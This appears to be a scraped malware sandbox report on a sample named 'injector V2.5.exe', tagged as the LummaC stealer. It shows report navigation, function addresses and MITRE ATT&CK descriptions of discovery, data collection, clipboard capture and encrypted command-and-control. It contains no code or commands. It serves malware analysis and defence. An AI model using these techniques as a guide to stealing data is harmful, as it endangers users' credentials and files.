Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report injector V2.5.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: LummaC

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Authenticode Signature

Entrypoint Preview

Data Directories

Sections

Imports

Network Behavior

Suricata IDS Alerts

Network Port Distribution

TCP Packets

Windows Analysis Report
injector V2.5.exe

Function 00B5D18D Relevance: 42.3, APIs: 10, Strings: 14, Instructions: 295
threadinjectionmemoryCOMMON

Function 00B2D475 Relevance: 1.5, Strings: 1, Instructions: 206
COMMON

Function 00B50E88 Relevance: 7.7, APIs: 5, Instructions: 197
COMMON

Function 00B4D4CA Relevance: 3.2, APIs: 2, Instructions: 177
COMMON

Function 00B4D2B2 Relevance: 3.1, APIs: 2, Instructions: 65
COMMON

Function 00B2A0B0 Relevance: 3.1, APIs: 2, Instructions: 64
COMMON

Function 00B4C7CC Relevance: 3.0, APIs: 2, Instructions: 34
COMMON

Function 00B4DC4B Relevance: 3.0, APIs: 2, Instructions: 22
memoryCOMMONLIBRARYCODE

Function 00B4DA59 Relevance: 1.6, APIs: 1, Instructions: 142
COMMON

Function 00B2B0E4 Relevance: 1.6, APIs: 1, Instructions: 55
fileCOMMON

Function 00B4EB9B Relevance: 1.5, APIs: 1, Instructions: 32
memoryCOMMONLIBRARYCODE

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre